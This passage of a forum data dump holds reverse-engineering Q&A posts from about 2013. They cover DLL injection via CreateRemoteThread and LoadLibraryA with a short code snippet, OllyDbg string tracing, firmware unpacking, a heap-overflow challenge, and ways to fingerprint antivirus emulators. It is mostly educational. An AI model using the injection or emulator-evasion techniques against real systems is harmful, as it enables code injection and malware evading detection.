in my &lt;code&gt;inject()&lt;/code&gt; call. So my question is: Why does it work when i use the &lt;code&gt;GetProcAddr&lt;/code&gt; and not when I just try to use it &quot;normally&quot;? Do I get some specific address that's always mapped in for everyone in the same region in memory when using that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what happens to my strings in the &lt;code&gt;inject()&lt;/code&gt; function? Are they moved to some other place during compile which makes them unavailable to the program i'm injecting since it's in a totally different place of the memory (i.e., it's not mapped to there?)? I worked that around by sending that along in a struct with the &lt;code&gt;LPVOID threadParam&lt;/code&gt; aswell in a struct that i had copied over to memory available to the &lt;code&gt;.exe&lt;/code&gt; I was injecting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more info on how I did the other parts please do tell and I'll update.&lt;/p&gt;&#xA;" OwnerUserId="1612" LastEditorUserId="245" LastEditDate="2013-09-17T16:52:59.587" LastActivityDate="2019-12-18T09:05:19.150" Title="Dll injection and GetProcAddress with the winapi" Tags="|windows|dll|c++|dll-injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2794" PostTypeId="2" ParentId="2793" CreationDate="2013-09-14T16:14:17.030" Score="9" Body="&lt;p&gt;One thing you need to keep in mind is that code in your process and the code in the target process reside in &lt;strong&gt;different address spaces&lt;/strong&gt;. So any address in your program is not necessary valid in the target process and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means the code that you inject cannot make any assumptions about addresses of functions or variables. Even your &lt;code&gt;inject&lt;/code&gt; function's address is valid only in &lt;em&gt;your&lt;/em&gt; process; to make it available in the target process you'd have to: 1) copy the code there; and 2) make sure any functions or memory addresses it refers to are valid in the new address space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why the normal approach used with &lt;code&gt;CreateRemoteThreadEx&lt;/code&gt; is to copy the DLL name to the target process and create the thread using the address of the &lt;code&gt;LoadLibrary&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// 1. Allocate memory in the remote process for szLibPath&#xA;pLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath),&#xA;                               MEM_COMMIT, PAGE_READWRITE );&#xA;&#xA;// 2. Write szLibPath to the allocated memory&#xA;::WriteProcessMemory( hProcess, pLibRemote, (void*)szLibPath,&#xA;                      sizeof(szLibPath), NULL );    &#xA;&#xA;// Load &quot;LibSpy.dll&quot; into the remote process&#xA;// (via CreateRemoteThread &amp;amp; LoadLibrary)&#xA;hThread = ::CreateRemoteThread( hProcess, NULL, 0,&#xA;            (LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,&#xA;                                       &quot;LoadLibraryA&quot; ),&#xA;             pLibRemote, 0, NULL );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(snippet &lt;a href=&quot;http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces&quot; rel=&quot;nofollow noreferrer&quot;&gt;from Code Project&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that &lt;code&gt;pLibRemote&lt;/code&gt; (with the address of the DLL name in the target process) is passed as the parameter to the thread routine. So the result of this is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LoadLibraryA(pLibRemote);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed in the target process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strictly speaking, this is not guaranteed to work because the address of &lt;code&gt;LoadLibraryA&lt;/code&gt; in your process is not necessarily the same as &lt;code&gt;LoadLibraryA&lt;/code&gt; in the other process. However, in practice it does work because system DLLs like kernel32 (where &lt;code&gt;LoadLibraryA&lt;/code&gt; resides) are mapped to the same address in all processes, so &lt;code&gt;LoadLibraryA&lt;/code&gt; also has the same address in both processes.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-12-18T09:05:19.150" LastActivityDate="2019-12-18T09:05:19.150" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="2795" PostTypeId="2" ParentId="2780" CreationDate="2013-09-16T12:50:15.207" Score="5" Body="&lt;p&gt;Turns out openocd for ARM11 had a few bugs in it. I ended up making a few changes to get it working as per the arm spec: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;arm11_debug_entry&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Turning on the drain of the data aborts. The check should be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!(dscr &amp;amp; DSCR_STICKY_ABORT_IMPRECISE))&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then added the following code before the C1 control register&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Enable Debug Cache write back, and disable line fills */&#xA;/* mcr p15,7,R0,c15,c0,0 */&#xA;retval = arm11_run_instr_data_to_core_via_r0(arm11, 0xeeef0f10, 0x07);&#xA;if (retval != ERROR_OK)&#xA;    return retval;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And now I save and then restore the C1 control register&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Read Modify write control register 1 to disable MMU/Cache etc. Store to reprogram upon return */&#xA;/* MRC p15,0,R0,c1,c0,0 */&#xA;arm11_run_instr_data_from_core_via_r0(arm11, 0xee110f10, &amp;amp;cntrlregval);&#xA;if (retval != ERROR_OK)&#xA;    return retval;&#xA;&#xA;arm11-&amp;gt;saved_c1cntrl = cntrlregval;&#xA;&#xA;/* Perform Modifications */&#xA;&#xA;/* MCR p15,0,R0,c1,c0,0 */&#xA;retval = arm11_run_instr_data_to_core_via_r0(arm11, 0xee010f10, cntrlregval);&#xA;if (retval != ERROR_OK)&#xA;    return retval;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;arm11_leave_debug_state&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /* disable debug cache write thrus, etc */&#xA;retval = arm11_run_instr_data_prepare(arm11);&#xA;    if (retval != ERROR_OK)&#xA;        return retval;&#xA;&#xA; retval = arm11_run_instr_data_to_core_via_r0(arm11, 0xeeef0f10, 0x00);&#xA;    if (retval != ERROR_OK)&#xA;        return retval;&#xA;&#xA; /* re write Coprocessor control */&#xA; retval = arm11_run_instr_data_to_core_via_r0(arm11, 0xee010f10, arm11-&amp;gt;saved_c1cntrl);&#xA;    if (retval != ERROR_OK)&#xA;        return retval;&#xA;&#xA; retval = arm11_run_instr_data_finish(arm11);&#xA;    if (retval != ERROR_OK)&#xA;        return retval;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll try to get these changes rolled in so others don't have my problem. &lt;/p&gt;&#xA;" OwnerUserId="2803" LastActivityDate="2013-09-16T12:50:15.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2796" PostTypeId="1" CreationDate="2013-09-16T18:04:42.043" Score="8" ViewCount="14758" Body="&lt;p&gt;Say, there's an input box and I enter a text. Can I somehow find the location that text is entered?&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="1562" LastEditDate="2013-09-16T23:43:54.597" LastActivityDate="2013-09-17T12:45:13.913" Title="Find a string that I entered in ollydbg" Tags="|ollydbg|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2797" PostTypeId="2" ParentId="2796" CreationDate="2013-09-16T18:13:25.143" Score="8" Body="&lt;p&gt;Set breakpoints on &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms633520%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;GetWindowText()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms645489%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;GetDlgItemText()&lt;/code&gt;&lt;/a&gt; and have the target program read your input text. If the breakpoint is hit, you can trace up the call-stack to &#xA;see what code is reading your input text and where in memory it's being stored. If neither breakpoint is hit, you can try setting a conditional breakpoint on &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms644950%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;SendMessage()&lt;/code&gt;&lt;/a&gt;, filtering it to only break on the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms632627%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;WM_GETTEXT&lt;/code&gt;&lt;/a&gt; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above methods fail, you may want to statically analyze the program to find where it's creating the text box window and how it's handling input to the text box. Searching for window creation API calls and/or cross-references to strings related to the text box (static labels, error message strings, etc.) can be helpful.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-09-16T18:13:25.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2798" PostTypeId="2" ParentId="2796" CreationDate="2013-09-16T22:03:32.837" Score="1" Body="&lt;p&gt;In addition to what Jason said, I'd add that there is another potentially helpful way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Breakpoint on &lt;code&gt;ExitProcess()&lt;/code&gt; (and probably &lt;code&gt;HeapFree()&lt;/code&gt; too)&lt;/li&gt;&#xA;&lt;li&gt;Enter in the input box some test - &lt;code&gt;&quot;bla bla bla&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Search the memory of the process for that string and try to analyze the code that is referencing that place.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I agree that this could be an overkill, but still could be helpful in some situations.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2013-09-16T22:03:32.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2799" PostTypeId="1" CreationDate="2013-09-16T22:56:28.647" Score="7" ViewCount="6696" Body="&lt;p&gt;I am trying to unpack a clear spot firmware update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware I am trying to reverse can be found on the &lt;a href=&quot;http://www.clear.com/support/download/spots/clear-spot-voyager&quot; rel=&quot;nofollow&quot;&gt;download page of the vendor&lt;/a&gt;&#xA;I have used the fwtools to unpack the firmware as described on &lt;a href=&quot;http://hackspot.net/iSpotBlog/?p=177&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I did this, I managed to get a &quot;kernel.bin&quot; and a &quot;rootfs.bin&quot;.&#xA;Now I want to include a new/additional certificate to this modem and make some edits on the administrator page that is within this modem (a Wimax one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I checked the rootfs file using the &lt;code&gt;file&lt;/code&gt; tool. And I got the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rootfs.bin: Linux Compressed ROM File System data, little endian size 4280320 version #2 sorted_dirs CRC 0xbf224100, edition 16777728, 268441607 blocks, 1325400384 files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was no to little help so I gave binwalk a try and I got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  DECIMAL         HEX             DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;0               0x0             CramFS filesystem, little endian size 4280320 version #2 sorted_dirs CRC 0xbf224100, edition 16777728, 268441607 blocks, 1325400384 files&#xA;8               0x8             Squashfs filesystem, big endian, version 2.1, size: 4276396 bytes, 1028 inodes, blocksize: 65536 bytes, created: Fri Jun 22 23:02:36 2012&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for doing the entire firmware file I got the following output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    root@bt:/pentest/reverse-engineering/binwalk# ./binwalk -m /pentest/reverse-engineering/binwalk/magic.binwalk /root/fwtools_20100826c/bin.linux/imw.bin&#xA;&#xA;DECIMAL         HEX             DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;855032          0xD0BF8         CramFS filesystem, little endian size 4280320 version #2 sorted_dirs CRC 0xbf224100, edition 16777728, 268441607 blocks, 1325400384 files&#xA;855040          0xD0C00         Squashfs filesystem, big endian, version 2.1, size: 4276396 bytes, 1028 inodes, blocksize: 65536 bytes, created: Fri Jun 22 23:02:36 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As this did stoke me as odd I didn't continue. I don't know how to unpack the firmware. I think I have tried about everything I know you can do manually, firmware mod fit, fwtools, the whole lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone shed some light on my issue and tell me how to continue?&lt;/p&gt;&#xA;" OwnerUserId="2831" LastEditorUserId="2831" LastEditDate="2013-09-19T11:10:03.640" LastActivityDate="2019-11-01T00:21:04.897" Title="unpack Clear spot .bin firmware update" Tags="|linux|binary-analysis|unpacking|firmware|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2800" PostTypeId="2" ParentId="2796" CreationDate="2013-09-17T05:39:48.657" Score="1" Body="&lt;p&gt;in addition to all the above solutions after you have entered your text string &lt;code&gt;press f12&lt;/code&gt; and pause the debuggee&lt;br&gt;&#xA;now there are several options to search for the string &#xA;&lt;code&gt;view call stack (ctl+k)&lt;/code&gt; and set a break point on the &lt;code&gt;return address&lt;/code&gt; in the stack and press f9  to run&lt;br&gt;&#xA;ollydbg will most probably break on some system call&lt;br&gt;&#xA;when it breaks you can search the entire memory of the process&lt;br&gt;&#xA;(&lt;code&gt;alt+m right click search ctrl+l for repeating)&lt;/code&gt;for the string you entered&lt;br&gt;&#xA;set an access breakpoint (&lt;code&gt;hardware break point on read)&lt;/code&gt; on the location &#xA;if the application is not much obfuscated call stack may show you the applications code where it entered system you can also follow from there&lt;br&gt;&#xA;if the application hasn't sub classed its controls setting a break point on &lt;code&gt;windowproc&lt;/code&gt; or &lt;code&gt;classproc&lt;/code&gt; will also get you the right context to follow your string   if the app uses directx you can set breaks at SendInput() apis or DrawText(...) apis&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-09-17T12:45:13.913" LastActivityDate="2013-09-17T12:45:13.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2801" PostTypeId="2" ParentId="2799" CreationDate="2013-09-17T06:33:17.940" Score="7" Body="&lt;p&gt;You can extract them with either a hex editor or &lt;code&gt;dd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To mount them you do:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mount -t cramfs -o loop /firmware/cramfs /mnt/cramfs/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mount -t squashfs /firmware/squashfs /mnt/squashfs&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="53" LastEditDate="2013-09-17T07:30:29.570" LastActivityDate="2013-09-17T07:30:29.570" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2802" PostTypeId="2" ParentId="2799" CreationDate="2013-09-17T13:55:04.983" Score="7" Body="&lt;p&gt;The CramFS image is a false positive; I doubt there would be over 1 billion files in a 5MB firmware image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like your binwalk signatures are a bit old; here is the output from mine (running the latest from the trunk):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;------------------------------------------------------------------------------------------------------------------- &#xA;14944       0x3A60      LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes &#xA;855040      0xD0C00     Squashfs filesystem, big endian, version 2.1, size: 4276396 bytes, 1028 inodes, blocksize: 65536 bytes, created: Fri Jun 22 23:02:36 2012&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The LZMA image is the Linux kernel and can be decompressed using p7zip or a similar utility:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ p7zip -d 3A60.7z&#xA;&#xA;7-Zip (A) 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18&#xA;p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)&#xA;&#xA;Processing archive: 3A60.7z&#xA;&#xA;Extracting  3A60&#xA;&#xA;Everything is Ok&#xA;&#xA;Size:       3072188&#xA;Compressed: 5120472&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You won't be able to mount the SquashFS image, it is non-standard, likely &quot;hacked up&quot; to support LZMA compression. Unfortunately, I couldn't quickly find a version of unsquashfs that would extract the image; your best bet is to put in a GPL request with the company (I didn't see any GPL info on their downloads page), or to find a similar firmware which does have a GPL code release.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-09-17T13:55:04.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2803" PostTypeId="1" CreationDate="2013-09-17T19:02:29.887" Score="6" ViewCount="301" Body="&lt;p&gt;I'm trying to learn about heap overflows for this exploitation challenge I have to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the program allocates 3 consecutive buffers on the heap, and I have access to write whatever I want to all of them. Even though I write over the pointers used by the heap manager, which are located at the end of each buffer, no exception is raised when the buffers are HeapFree()d.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that so? Shouldn't an exception be raised? How can I check on this further on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="2835" LastActivityDate="2013-09-18T13:02:03.257" Title="Program won't crash on heap overflow" Tags="|buffer-overflow|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2804" PostTypeId="2" ParentId="2070" CreationDate="2013-09-18T02:20:56.937" Score="2" Body="&lt;p&gt;Probably with full intent from MS, not only does syscall numbering change between versions, but also many DLL ordinal values do, too. Need to bind to Win32 and use the full function name if you want your code to work across OS releases.&lt;/p&gt;&#xA;" OwnerUserId="2837" LastEditorUserId="37138" LastEditDate="2021-12-26T00:24:10.453" LastActivityDate="2021-12-26T00:24:10.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2805" PostTypeId="1" AcceptedAnswerId="2806" CreationDate="2013-09-18T04:55:51.537" Score="10" ViewCount="1042" Body="&lt;p&gt;I've been given a program that emulates the Windows API. I'm attempting to find flaws in this emulator where it either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Always returns a constant value, regardless of the host system &lt;em&gt;(Useful for fingerprinting)&lt;/em&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For example, calls to get the username in this emulator return&#xA;various random strings. But calls to get the free disk space always&#xA;returns the same number, regardless of the actual value on the host&#xA;system.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Returns the real value from bare metal &lt;em&gt;(Emulator leaking real information)&lt;/em&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For example, calls to get the MAC address return the value from the host system.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Instead of writing functions to test the return values from various functions in the Windows API, I'm looking for a way to automate code generation (preferably in C/C++) to query a large number of functions provided by the WinAPI . Is anything like this possible or has it been done for other projects that I could leverage?&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-12-27T02:34:16.013" Title="Detecting an emulator using the windows api" Tags="|winapi|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2806" PostTypeId="2" ParentId="2805" CreationDate="2013-09-18T08:00:40.863" Score="12" Body="&lt;p&gt;I've done this same exercise with anti-virus engines on a number of occasions.  Generally the steps I use are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Identify the CPU/Windows emulator.  This is generally the hardest part.  Look at filenames, and also grep the disassembly for large switch statements.  Find the switches that have 200 or more cases and examine them individually.  At least one of them will be related to decoding the single-byte X86 opcodes.&lt;/li&gt;&#xA;&lt;li&gt;Find the dispatcher for the CALL instruction.  Usually it has special processing to determine whether a fixed address is being called.  If this approach yields no fruit, look at the strings in the surrounding modules to see anything that is obviously related to some Windows API.&lt;/li&gt;&#xA;&lt;li&gt;Game over.  AV engines differ from the real processor and a genuine copy of Windows in many easily-discernible ways.  Things to inspect:  pass bogus arguments to the APIs and see if they handle erroneous conditions correctly (they never do).  See if your emulator models the AF flag.  Look up the exception behavior of a complex instruction and see if your emulator implements it properly.  Look at the implementations of GetTickCount and GetLastError specifically as these are usually miserably broken.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-09-18T08:00:40.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2807" PostTypeId="2" ParentId="2803" CreationDate="2013-09-18T13:02:03.257" Score="7" Body="&lt;p&gt;AFAIR Windows XP does not necessarily crash on heap corruption, you need to specifically turn this behavior on using gflags.exe (from debugging tools)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gflags /p /full /enable foo.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pageheap.exe might work as well, see &lt;a href=&quot;http://support.microsoft.com/kb/286470&quot;&gt;http://support.microsoft.com/kb/286470&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, the point of exploitation is not to crash the process but to get it to run your code, so you don't need to worry why it does not crash.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2013-09-18T13:02:03.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2808" PostTypeId="1" CreationDate="2013-09-19T09:15:12.560" Score="6" ViewCount="643" Body="&lt;p&gt;I am looking forward to having your input regarding the availability of any tool that can do instrumentation in byte code level run-time, so that data dependency analysis can be carried out? Such tool exists for x86 binaries, such as &lt;a href=&quot;http://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot;&gt;Pin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also i would like to know your precious input regarding tools to run static analysis by instrumenting dalvik byte code.&lt;/p&gt;&#xA;" OwnerUserId="2846" LastActivityDate="2013-09-19T10:46:07.323" Title="Dalvik Byte code instrumentation framwork for dynamic data dependency analysis" Tags="|debuggers|compilers|android|byte-code|instrumentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2809" PostTypeId="2" ParentId="2808" CreationDate="2013-09-19T10:46:07.323" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.sable.mcgill.ca/soot/&quot; rel=&quot;nofollow&quot;&gt;Soot&lt;/a&gt; can give you a Jimple IR of an &lt;code&gt;apk&lt;/code&gt; and inject instrumentation into it. It's not dynamic though, although I don't see why it couldn't be used for data dependency analysis. Unless your target app does weird things with reflection or JNI you should still be able to perform the analysis you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a tutorial on using &lt;a href=&quot;http://www.bodden.de/2013/01/08/soot-android-instrumentation/&quot; rel=&quot;nofollow&quot;&gt;Soot with Dalvik executables&lt;/a&gt; that covers getting started - you'll probably need to build Soot from the repository to get the &lt;code&gt;dex&lt;/code&gt; functionality; there's a tutorial on getting it running &lt;a href=&quot;http://www.abartel.net/dexpler/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2013-09-19T10:46:07.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2811" PostTypeId="2" ParentId="2479" CreationDate="2013-09-20T01:03:17.433" Score="11" Body="&lt;p&gt;this is not entirely true. Dalvik bytecode will also be verified on the device, but this happens during installation time, not runtime. A verified and optimized version of the dex file will be stored on the system, protected by file system permission (you cannot change it afterwards unless you have rooted your device).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick that was used in the blog post is that you can set a specific flag within the class header which tells the verifier to skip this class.&lt;/p&gt;&#xA;" OwnerUserId="2851" LastActivityDate="2013-09-20T01:03:17.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2814" PostTypeId="1" AcceptedAnswerId="2815" CreationDate="2013-09-20T11:37:49.667" Score="5" ViewCount="22872" Body="&lt;p&gt;I'm trying to get jailbreak statistics for a University project related to security in mobile devices. My purpose is to disassemble, add a sample code and re-assemble to obtain a runnable iOS app again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read a lot about IDA, IDA pro, HEX-Rays, and o'tool to disassemble an ipa file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since i'm working with a macbook pro, i think that using otool to disassemble an '.ipa' file is the best and faster way. I have tried it with a non-signed &lt;code&gt;.ipa&lt;/code&gt; and I have obtained the assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I have difficulties. I have tried to create a new Xcode project, import this assembly code and try to compile it to generate a new app, without inserting new code just to simplify the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i tried to compile, Xcode fails in every single code line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that my problem is, that the process described:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disassemble with otool&lt;/li&gt;&#xA;&lt;li&gt;Import the code in XCode&lt;/li&gt;&#xA;&lt;li&gt;Compile and build&lt;/li&gt;&#xA;&lt;li&gt;Obtain the new app&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is not correct.&lt;/p&gt;&#xA;" OwnerUserId="2854" LastEditorUserId="53" LastEditDate="2013-09-20T21:11:16.630" LastActivityDate="2015-10-31T10:17:26.913" Title="Disassemble, edit and re-assembly iOS ipa apps" Tags="|disassembly|assembly|ios|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2815" PostTypeId="2" ParentId="2814" CreationDate="2013-09-20T14:00:49.113" Score="6" Body="&lt;p&gt;You won't be able to rebuild with XCode. You'd need to patch the decrypted app with a hex editor in order to make your desired changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.minecraftforum.net/topic/1363777-how-to-make-mods-for-ios/&quot; rel=&quot;noreferrer&quot;&gt;http://www.minecraftforum.net/topic/1363777-how-to-make-mods-for-ios/&lt;/a&gt; for a sample walkthrough.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-09-20T14:00:49.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2817" PostTypeId="1" AcceptedAnswerId="2827" CreationDate="2013-09-20T19:58:50.470" Score="8" ViewCount="2177" Body="&lt;p&gt;I am working on automating some functionality within a closed-source third party application; I want to automate the creation of &quot;Project Files&quot; (in its simplest form, just a collection of video files in a specific order). The video files which this application works with each have an associated metadata file, and I have already managed to understand and recreate 99% of its format. Both these &quot;project files&quot; and the metadata files are more-or-less plain XML (with some strange tag names I have yet to decipher).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to know what methods I can use to determine the format of these project files so that I can write my own and reference the video files I have chosen in the prior part of my script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;&lt;em&gt;many&lt;/em&gt;&lt;/strong&gt; DLL files in the applications directory, and I was thinking that maybe monitoring their use during a save operation (of a project file in the application) could point me in the right direction? If so, how could I go about this? I have also began learning DLL injection, and was wondering if this could be of use?&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="107" LastEditDate="2013-09-20T21:12:13.547" LastActivityDate="2013-09-23T14:00:52.567" Title="Reverse engineer a proprietary save/file format structure" Tags="|disassembly|windows|file-format|dll|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2818" PostTypeId="1" CreationDate="2013-09-21T00:32:39.503" Score="5" ViewCount="519" Body="&lt;p&gt;Trying to understand how the code is converted in ARM platform from code to binary. Are the gcc compilers used in the different ARM platforms (iOS, Android, Blackberry) the same compiler, except that the header and library files are different? Or are they totally different compilers?&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2013-09-21T13:25:46.243" Title="Is the output of the gcc compilers the same for all ARM platforms?" Tags="|arm|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
